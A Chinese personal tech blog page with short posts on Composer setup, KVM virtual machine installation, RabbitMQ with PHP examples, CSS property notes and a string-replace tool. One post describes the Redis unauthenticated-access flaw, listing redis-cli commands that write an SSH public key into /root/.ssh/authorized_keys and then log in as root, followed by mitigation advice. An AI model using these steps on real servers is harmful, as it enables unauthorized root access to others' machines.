KayChen

记录技术生活的点点滴滴

0%

1.安装

1
2
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer

2.修改为中国镜像

  1. 系统全局配置:即将配置信息添加到 Composer 的全局配置文件 config.json 中。

    1
    composer config -g repo.packagist composer https://packagist.phpcomposer.com
  2. 单个项目配置: 将配置信息添加到某个项目的 composer.json 文件中。

    1
    composer config repo.packagist composer https://packagist.phpcomposer.com

    上述命令将会在当前项目中的 composer.json 文件的末尾自动添加镜像的配置信息(你也可以自己手工添加):

    1
    2
    3
    4
    5
    6
    "repositories": {
    "packagist": {
    "type": "composer",
    "url": "https://packagist.phpcomposer.com"
    }
    }

Composer中文指南:phpcomposer.com

检查CPU是否支持虚拟化

1
2
3
# egrep 'vmx|svm' /proc/cpuinfo 
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni vmx ssse3 cx16 sse4_1 sse4_2 x2apic popcnt hypervisor lahf_lm arat dts tpr_shadow vnmi ept vpid
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni vmx ssse3 cx16 sse4_1 sse4_2 x2apic popcnt hypervisor lahf_lm arat dts tpr_shadow vnmi ept vpid

安装KVM

1
2
# yum install kvm kmod-kvm qemu kvm-qemu-img virt-viewer virt-manager \
libvirt libvirt-python python-virtinst

安装完后重启系统,然后确认一下是否安装成功:

1
2
3
4
5
6
# reboot
# lsmod | grep kvm
kvm_amd 69416 0
kvm 226208 1 kvm_amd
# ll /dev/kvm
crw-rw---- 1 root kvm 10, 232 Jun 25 15:56 /dev/kvm

至此,KVM环境已安装完成,接下来,开始安装虚拟机。
安装之前需要准备一个系统镜像ISO,我这里用的是WindowsServer2003。路径为/kvmdata/kaychen/cn_win_srv_2003_r2_enterprise_x64_with_sp2.iso

先创建一块虚拟硬盘

1
# qemu-img  create -f qcow2 /kvmdata/kaychen/winserver2003.img 20G

安装系统

1
2
3
4
5
6
7
8
9
10
11
# virt-install \
--name winserver2003 \
--ram 2048 \
--vcpus=2 \
--disk path=/kvmdata/kaychen/winserver2003.img,device=disk,format=qcow2,bus=ide,cache=writeback,size=15 \
--accelerate \
--os-type=windows \
--virt-type=kvm \
--disk /kvmdata/kaychen/cn_win_srv_2003_r2_enterprise_x64_with_sp2.iso,device=cdrom \
--vnc --vncport=9125 --vnclisten=0.0.0.0 \
--noautoconsole

虚拟机启动成功后,我们需要用VNC连接IP:9125来安装操作系统,直到系统安装完成。

一.漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

二.漏洞分析与利用

1. 先创建秘钥文件

1
ssh-keygen –t rsa

2. 利用空口令登录redis

1
2
3
4
5
6
7
redis-cli -h xxx.xxx.xxx.xxx

config set dir /root/.ssh
config get dir
config set dbfilename authorized_keys
set test "\n\n\nssh-rsa key_pub\n\n\n\n"
save

其中key_pub为生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码.

3. 利用私钥登录root@xxx.xxx.xxx.xxx

1
ssh -i id_rsa root@xxx.xxx.xxx.xxx

三.漏洞修补方法

  1. 禁止使用 root 权限启动 redis 服务;
  2. 对 redis 访问启用密码认证,并且添加 IP 访问限制;
  3. 尽可能不对公网直接开放 SSH 服务。

四.参考

RabbitMQ安装与启动

1
2
3
4
5
6
7
8
9
10
11
12
13
#首先使EPEL生效(参考:http://fedoraproject.org/wiki/EPEL/FAQ#howtouse):
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
#安装rabbitmq-server
yum install rabbitmq-server librabbitmq*
#启用rabbitmq-server
service rabbitmq-server start
#查看rabbitmq的插件列表
/usr/lib/rabbitmq/bin/rabbitmq-plugins list
#开启rabbitmq网页端管理功能
/usr/lib/rabbitmq/bin/rabbitmq-plugins enable rabbitmq_management
#关闭rabbitmq网页端管理功能
/usr/lib/rabbitmq/bin/rabbitmq-plugins disable rabbitmq_management
#使用默认账号密码(均guest)登陆http://server-name:15672/即可管理

PHP集成扩展ampq

1
2
3
4
5
6
7
8
9
10
11
12
13
wget http://pecl.php.net/get/amqp-1.2.0.tgz #php5.3安装amqp1.2.0可成功. 1.4会报错
tar xzf amqp-1.2.0.tgz
cd amqp-1.2.0
/usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config --with-amqp
make && make install
#增加生成的amqp.so到php.ini中
[AMPQ]
extension=/usr/local/php/lib/php/extensions/no-debug-non-zts-20090626/amqp.so
#重启web/php服务
/etc/init.d/nginx -s reload
#查看是否已集成成功
php -m|grep amqp
  • 版本参考 http://pecl.php.net/package/amqp

PHP使用RabbitMQ的例子

入队列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
'localhost' , 'port'=> '5672', 'login'=>'guest' , 'password'=> 'guest','vhost' =>'/');
$conn = new AMQPConnection($conn_args);
$conn->connect();
//创建exchange名称和类型
$channel = new AMQPChannel($conn);
$ex = new AMQPExchange($channel);
$ex->setName('direct_exchange_name');
$ex->setType(AMQP_EX_TYPE_DIRECT);
$ex->setFlags(AMQP_DURABLE | AMQP_AUTODELETE);
$ex->declare();
//创建queue名称,使用exchange,绑定routingkey
$q = new AMQPQueue($channel);
$q->setName('queue_name');
$q->setFlags(AMQP_DURABLE | AMQP_AUTODELETE);
$q->declare();
$q->bind('direct_exchange_name', 'routingkey_name');
//消息发布
$channel->startTransaction();
$message = json_encode(array('Hello World!','DIRECT'));
$ex->publish($message, 'routingkey_name');
$channel->commitTransaction();
$conn->disconnect();
?>

取队列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'localhost' , 'port'=> '5672', 'login'=>'guest' , 'password'=> 'guest','vhost' =>'/');
$conn = new AMQPConnection($conn_args);
$conn->connect();
//设置queue名称,使用exchange,绑定routingkey
$channel = new AMQPChannel($conn);
$q = new AMQPQueue($channel);
$q->setName('queue_name');
$q->setFlags(AMQP_DURABLE | AMQP_AUTODELETE);
$q->declare();
$q->bind('direct_exchange_name', 'routingkey_name');
//消息获取
$messages = $q->get(AMQP_AUTOACK) ;
if ($messages){
var_dump(json_decode($messages->getBody(), true ));
}
$conn->disconnect();
?>

设置页面整体样式:

1
body{margin:0;padding:0;font:12px Microsoft YaHei}

背景:

1
2
3
4
5
6
7
background-color: #FFCC66;
background-image: url("butterfly.gif");
background-repeat: no-repeat;平铺背景图像 repeat-x(图像横向平铺) repeat-y(图像纵向平铺) repeat(图像横向和纵向都平铺)
background-attachment: fixed;固定背景图像 scroll(非固定的)fixed(图像是固定在屏幕上的)
background-position: right bottom;放置背景图像 x y
缩写顺序值:[background-color] | [background-image] | [background-repeat] | [background-attachment] | [background-position]
缩写:background: #FFCC66 url("butterfly.gif") no-repeat fixed right bottom;

字体:

1
2
3
4
5
6
7
8
font-style: italic;  字体样式 normal(正常)、italic(斜体)或oblique(倾斜)
font-variant: normal;字体变化 normal(正常)或small-caps(小体大写字母)
font-weight: bold; 字体浓淡 normal(正常)或bold(加粗)
font-size: 30px;字体大小
font-family: Microsoft YaHei, arial, sans-serif; 字体族
font属性的值应按以下次序书写:
缩写顺序值:font-style | font-variant | font-weight | font-size | font-family
缩写:font: italic bold 30px arial, sans-serif;

文本:

1
2
3
4
5
text-indent: 20px;文本缩进
text-align: center;文本对齐 left center right
text-decoration:none;文本装饰 underline(下划线) line-through(删除线) overline(上划线)
letter-spacing: 6px;字符间距
text-transform:none;文本转换 capitalize(首字母大写) uppercase(全大写) lowercase(全小写)

链接伪类:

1
2
3
4
a:link 从未访问过的链接
a:visited 已访问过的链接
a:active 激活的链接
a:hover 鼠标悬停的链接

盒状:

1
2
3
4
5
6
7
8
margin:1px 2px 3px 4px; 外边距
padding:1px 2px 3px 4px;内边距
width:1px;宽度
height:2px;高度
float:left; 浮动 属性值可以是left、right或者none
clear:both; 控制浮动元素的后继元素的行为,属性的值可以是left、right、both或none
position:absolute;top: 50px;left: 50px; 元素定位 absolute(绝对定位),relative(相对定位) 可以通过属性left、right、top和bottom来设定
z-index: 1;层次堆叠

边框:

1
2
3
4
border-width: 1px;边框宽度
border-style: solid;边框样式
border-color: blue;边框颜色
缩写:border: 1px solid blue;

注(CSS3中常用属性):

1
2
border-radius:1px 2px 3px 4px; 设置圆角
box-shadow:0 1px 0 #BABABA; 设置阴影

2012年自制小工具分享: kstring

功能:

1.查找指定目录下所有存在指定字符串的文件

2.替换指定目录下所有文件中的指定字符串为新字符串

开发语言:python

部署:复制到/usr/bin/目录并给于执行权限.

用法:

查找字符串

kstring -f 目录路径 字符串

替换字符串

ksrting -r 目录路径 字符串 新字符串

———————————————————–

kstring -[f|r] dirpath string newstring

-f : find string in files
[ksrting -f dirpath string]
-r : replace string to newstring in files
[ksrting -r dirpath string newsrting]
-h : help
纯shell命令替换方法

sed -i “s/oldString/newString/g” grep oldString -rl /path

例如:

1.sed -i “s/大小多少/日月水火/g” grep 大小多少 -rl /usr/aa

2.sed -i “s/大小多少/日月水火/g” grep 大小多少 -rl ./